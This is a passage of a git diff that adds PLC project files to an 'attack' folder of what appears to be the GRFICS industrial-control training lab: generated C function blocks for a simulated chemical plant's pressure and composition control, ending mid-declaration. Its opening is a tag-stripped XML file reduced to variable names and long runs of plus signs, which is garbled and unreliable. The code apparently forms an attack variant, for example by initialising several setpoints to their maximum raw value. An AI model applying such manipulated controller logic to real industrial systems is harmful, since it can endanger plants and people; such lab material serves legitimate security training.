pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void 